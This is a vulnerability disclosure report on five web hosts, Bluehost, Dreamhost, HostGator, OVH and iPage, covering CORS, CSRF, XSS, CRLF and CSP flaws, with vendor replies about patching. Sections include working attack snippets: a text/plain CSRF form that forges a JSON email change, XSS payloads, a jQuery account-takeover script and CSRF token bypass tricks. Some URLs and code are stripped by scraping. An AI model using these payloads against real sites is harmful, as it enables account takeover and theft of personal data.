Report: Tested 5 Popular Web Hosting Companies & All Were Easily Hacked


The goal of this research was to try and see if websites hosted on Bluehost, Dreamhost, HostGator, OVH, or iPage could be compromised with one click client-side vulnerabilities.

Unfortunately, we found at least one client-side vulnerability in all the platforms we tested, allowing account takeover when the victim clicks a link or visits a malicious website.

All the platforms we tested are popular hosting providers with a significant number of users.

On Website Planet, our goal is to give our readers the most honest and informative reviews, and security is a major factor.

That’s why we hire experienced security researchers from time to time to test the services we review.

If we find vulnerabilities, we report them to the vendors so they can make the necessary improvements.

This research was done by Paulos Yibelo, an experienced security researcher who previously uncovered issues in various devices and software.

Bluehost – Multiple Account Takeover and Information Leak Vulnerabilities

1. Information Leak through CORS Misconfigurations

Severity: High

Impact: This vulnerability allows attackers to steal:

  1. Personally Identifiable Information (PII) such as name, location (city, street, state, country), phone number, zip code, etc.
  2. Partial Payment Details including expiry month and year of credit card, last 4 digits of credit card, name on credit card, credit card type, and payment method.
  3. Tokens that that can give access to a user’s hosted WordPress, Mojo, SiteLock and various OAuth-supported endpoints.

Bluehost uses cross-origin-resource-sharing (CORS) to share resources across their domains. CORS is a mechanism for relaxing the Same Origin Policy to enable communication between websites via browsers. It’s widely understood that certain CORS configurations are dangerous, but some implications are easily misunderstood.

After seeing the API endpoint for Bluehost that allows CORS for specific domains, we started trying to bypass the filters to see which websites should be allowed to access what.

Websites can enable CORS by sending the following HTTP response header:


If the above HTTP response is seen in any website, it tells the browser to allow to read its contents.

In Bluehost’s case, we saw a loose regular expression that accepted vague values. For instance, if the browser that sends the request is coming from, Bluehost would allow it by responding with:


As you can see, Bluehost only checked the first strings and didn’t consider what came after This means malicious attackers could host a subdomain called and Bluehost would allow to read its contents.

Browsing through Bluehost, the API endpoint returns very “juicy” information – from personally identifiable information to technical endpoints that can leak various tokens to takeover a Bluehost hosted account.

First, by going to /api/users endpoint – an attacker can leak the user_id.

Then the attacker can use this user_id to query about that user and their content.

The attacker can also leak values like email, first and last name, location of user, and also tokens that can give access to their WordPress, Mojo, SiteLock, and various endpoints.

As you can see above, the website request is actually hosted on and not Bluehost, but the API Response allows it to read its data in its response.

2. Account Takeover because of improper JSON request validation CSRF

Severity: Moderately High

Impact: This vulnerability allows attackers to change the email address of any Bluehost user to the address of their choice, and then reset the password using their new email to gain complete access to the victim’s account when a victim clicks a single link or visits a single website.

This vulnerability can be exploited because of certain misconfigurations in Bluehost’s handling of requests and validating them.

When users try to change their personal details, such as name, phone number, address, or email, Bluehost sends the following request:

If you look carefully, you will notice there is no unique token sent with that request. This means any website can actually send the request to that specific endpoint cross-origin, and change your details.

Normally, this would not be possible because the request is in JSON, and one would need to leverage Adobe Flash Player to be able to send such requests – but we all know Flash is dead.

However, in Bluehost’s case, special tricks and server misconfigurations allow it to work in any browser, without using Flash:

<form id=”xsrf” action=”” method=”post” enctype=”text/plain”>

<input name='{“country”:”US”,”phone”:”+1.NEWPHONE”,”street1″:”NEW STREET”,”last_name”:”LastName”,”email”:”[email protected]”,”city”:”N EW”,”postal_code”:”0000″,”province”:”WA”,”first_name”:”FirstName ‘ value='”,”organization”:null}’ type=’hidden’> The above HTML code will generate a JSON request similar to the one we need, {“country”:”US”,”phone”:”+1.NEWPHONE”,”street1″:”NEW STREET”,”last_name”:”LastName”,”email”:”[email protected]”,”city”:”N EW”,”postal_code”:”0000″,”province”:”WA”,”first_name”:”FirstName =”, organization”:null}

Since browsers normally add = (equal sign) at the end of the input name, we can manipulate the JSON to include the equal sign in FirstName, and add the remaining values in the “value” attribute: organization”:null}

As you can see, the request will be sent with Content-Type: text/plain and not application/json – but Bluehost doesn’t mind that, which makes our exploit work cross-origin.

Normally, Bluehost checks if the referrer domain is – if the request is sent from any other website, Bluehost will reject the request with a 500 response.

This can easily be bypassed by using Content=”no-referrer” in the meta tag, because if no-referrer is sent, Bluehost will allow the request.

3. Man-In-The-Middle Because of Improper Validation of CORS Scheme

Severity: Medium

Impact: This vulnerability allows an attacker inside a victim’s internet network, such as public Wi-Fi or a local network (LAN) to read the contents of the victim’s Bluehost associated traffic as plain text, despite Bluehost using SSL/HTTPS traffic to encrypt its contents.

This vulnerability is based on issue #1 (CORS Misconfiguration) – but instead of not verifying the domain, in this case, Bluehost doesn’t verify the scheme/protocol when allowing it to read its contents.

As you can see in the response, Bluehost is granting an HTTP domain, to read its contents. This tells the browser to allow the HTTP domain to access its contents (unencrypted) – this downgrade attack makes the use of SSL Certificate by Bluehost completely useless and defeats the whole purpose of using an HTTPS request in the first place.

4. XSS on allowing for account takeover

Severity: Moderately High

Impact: this vulnerability allows an attacker to execute commands as the client on – this means the ability to change, modify, and add content, including the email address. The attacker can read content about the victim, or change the content on their website when the victim clicks on a malicious link or visits a website.

Two low-impact issues make this vulnerability incredibly dangerous. The first one is that Bluehost does not require a current password when changing one’s email address. This means one can simply change the email address and reset the password by using XSS.

The second one is Bluehost not having set any HttpOnly flags on their sensitive cookies. This means any JavaScript can access them and send them to a malicious attacker, and the attacker can use these cookies to authenticate as the user.

PoC:”><script>alert(document.d omain)</script>

Check out the video here:

Dreamhost XSS and Information Disclosure Vulnerabilities

1. Account Takeover via XSS

Severity: Moderately High

Impact: This vulnerability allows an attacker to easily change the victim’s email or password to whatever they desire when the victim visits a link or a malicious website.

The payload:”><svg/onload=alert() will generate an alert on (profile and website management)

This can be extended to an account takeover because DreamHost doesn’t ask for a password in order to change your email address, so an attacker can simply perform CSRF attack using this XSS vulnerability to take over any account.

url: “”,
method: “POST”,
dataType: “html”,
success: function(response)
var security_cookie =
$.post( “”, { tab: “contact”,
command: “submit_edit”, security_cookie :security_cookie, prefix : “”, first
: “Santa”, middle : “”, last : “Bluh”, suffix : “”, street1 : “Nurit 103”,
street2 : “”, city : “Ora”, state : “jerusalem” , zip : “90880” , country :
“IL” , email : “[email protected]”,phone:”+954.8888777″,fax: “”, chat :””,
twitter:””,url:””}).done(function( data ) {
console.log( data );
error: function(error)

The above JavaScript, when executed by, changes the logged in email address to [email protected] – this can be done with our XSS vulnerability.¤t_step=Index&next_step=ShowAddhttp&domain=:lol%22%3E%0A%3Cscript%20async%20src=%22//*

When a victim visits the above link in anyway, they will change their email address to the attackers.

Check out the video here:

HostGator Information Disclosure and Multiple Vulnerabilities

1. Sitewide CSRF Protection Bypass allowing complete control

Severity: High

Impact: This vulnerability exists all around the user’s account section of the website. An attacker can add, edit, or change any value in the victim’s profile, including the email address and personal information, when a victim clicks on a link or visits a malicious website.

HostGator normally uses anti-CSRF tokens with any form submits. However, the server can be tricked to ignore anti-CSRF tokens by changing the POST parameter token to token[]= and leaving it empty – this lets the CSRF check pass as true. I suspect this might be a Type Juggling vulnerability, with a pseudo code sample:

if (strcasecmp($_GET[‘token’],”$csrf_token”) == 0) {

The above function might look sufficient for most programmers, especially if they migrated from C/C++ to web development. While the function looks as if it would only evaluate true if the strings are the same, it is also the case that if an array is given into the variable, then a NULL response is given back. According to PHP’s comparison, for instance, NULL is actually 0. So, it will pass as valid!


The second anti-CSRF token they have is a referrer-based check. They check if the request came from – but this can easily be bypassed by using an open redirect on the website, which is common in such places.

2. Multiple CORS Misconfigurations leading to Information Leak and CRLF

A. Information Leak

Severity: Moderately High

Impact: This vulnerability lets attackers read API responses coming from HostGator because of a CORS misconfiguration. The API response responds with full customer and domain details.

As you can see in the Access-Control-Allow-Origin response from HostGator, it is allowing (example domain name) to access the response contents.

This is due to HostGator’s weak regular expression check to match what domains are allowed to read its response. It allows any website that ends with pass – this meant sending payloads like: and\ The fact that any character is allowed before creates all sorts of issues.

B. CRLF Injection in Microsoft Edge and Internet Explorer

Severity: Moderate

Impact: This vulnerability only affects HostGator users that use Microsoft Edge and Internet Explorer. It allows attackers to inject new headers and possibly execute client-side scripts.

The very fact that any character sent is responded back in the CORS header response without any encoding or even checking it for illegal characters like \r, means that we have an HTTP header injection vulnerability against IE/Edge users as Internet Explorer and Edge view \r (0x0d) as a valid HTTP header terminator:

C. Man-In-The-Middle Because of Improper Validation of CORS Scheme

Severity: Medium

Impact: This vulnerability allows an attacker inside a victim’s internet traffic, such as public Wi-Fi or a local network (LAN), to read the contents of the victim’s HostGator API associated traffic as plain text, despite HostGator using proper SSL/HTTPS traffic to encrypt its contents.

As seen in the #1A screenshot – anything is accepted in the Access-Control-Allow-Origin if it ends with This also means any protocol or scheme, as you can see in the screenshot above – allows a local attacker to read HTTPS response by using CORS. This vulnerability not only means that any XSS or a similar vulnerability hosted on any HostGator subdomain worked, but any local-network attacker being able to read CORS responses.

Check out the video here:

OVH Information Disclosure and Multiple Vulnerabilities

1. CSRF protection Bypass

Severity: High

Impact: This vulnerability exists all around the website. An attacker can add, edit, or change any value in the victim’s profile, including email address and personal information, when an authenticated victim clicks on a link or visits a malicious website.

One protection OVH implemented is checking if the request sent contains Content-Type is application/json; While this can’t normally be forged, there is a simple bypass we discovered that worked for OVH.

xhr.setRequestHeader(‘Content-Type’, ‘text/plain; application/json’);

Browsers will refuse to send application/json as a Content-Type, however by sending ‘text/plain; application/json‘ – the request will be allowed to pass, it seems the server was only checking if application/json is contained with the Content-Type header.

This vulnerability can also be exploited on browsers that support Adobe Flash Player. An XHR header can be forged by Flash Player, and when the flash file runs in the browser, it will send the request, with the user’s cookies to OVH servers, making OVH believe the request is from the user and letting it change details.

2. API Misconfigurations

Severity: High

Impact: This misconfiguration allows any website to fetch and read API responses by OVH

As you can see, the response allows any website to read its contents. The wild-card “*” means any website, from any scheme, domain, and port can read the contents of the API.

Check out the video here:

iPage Account Takeover and Multiple Vulnerabilities

1. Account Takeover

Severity: High

Impact: This vulnerability allows an attacker to remotely take over any iPage account, when the victim simply clicks a link or visits a website.

This vulnerability is due to a weird feature iPage has in their Change Password page. iPage doesn’t require your old/current password to change your password, and there are no unique tokens associated with the request.

This means any website can send a cross-origin request with a new password to iPage, with the victim’s username, and iPage will change their password to whatever the attacker likes.

As you can see in the above request, the identifier is ipg.username, with no referrer sent, or unique tokens – allowing account takeover from cross-origin!

2. Multiple Content Security Policy Bypass

Severity: Medium

Impact: This allows attackers to perform clickjacking attacks on any API responses of iPage, and to bypass the CSP with content and script-injection attacks.

iPage uses Content-Security-Policy to protect its API endpoints, it is supposedly there to stop attackers from injecting content so they can’t execute malicious scripts, and only allow certain pages to frame the API response endpoint.

It looks like this:

Content-Security-Policy: frame-ancestors ‘self’  http://*  http://*  https://*  https://*  https://*  http://*  http://*  https://*

X-Frame-Options: SAMEORIGIN  ALLOW-FROM  http://*  http://*  https://*  https://*  https://*  http://*  http://*  https://*

As you can see, there are multiple key attributes and components missing:

A. Man-In-The-Middle Attack in frame-ancestors

If you look carefully, you can see the frame-ancestors attribute allows multiple HTTP (unencrypted) pages to frame it. This means any local attacker in a Wi-Fi network or public internet can host an HTTP domain that spoofs the address, and iPage will allow its responses to be framed by it.

Considering some browsers, such as Internet Explorer 11, don’t support CSP, they also have an X-Frame-Options header saying the same thing – but as you can see, this one also allows the same HTTP domains like http://*, http://*, and more.

B. Complete Bypass Because of Missing Attributes

As you can see, the CSP doesn’t have script-src or object-src tags, meaning any attacker who found any HTML injection endpoint will be able to execute cross-site scripting attacks.

Check out the video here:

The Aftermath

Out of the five web hosts we tested, we found that all can be easily hacked. This means that no matter which hosting service you use, you should always be sure to take additional measures to enhance your website’s security.


Dreamhost was the first to respond to our report, saying:

First, I’d like to thank you for notifying us of this exploit and vulnerability.

I believe responsible disclosure and visibility into security flaws helps makes the internet a safer place for everyone.

We currently have a fix in production that should prevent leveraging CSRF from our old submit forms and are making efforts to increase security and sanitize inputs across the rest of our endpoints.

We also received the following response from Endurance, who runs Bluehost, iPage, and HostGator:

I wanted to… let you know that after an internal analysis of the vulnerabilities you shared, we’ve taken steps to address and patch the potential vulnerabilities you identified.

It’s also important to note that during our process, Bluehost red-flagged our account and closed it down unceremoniously. No exact reason was given; however, since it was done after the hack was completed, we can only assume it is because they saw what we were doing. Good job, Bluehost… but a little too late.

published under license of


Please enter your comment!
Please enter your name here

Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.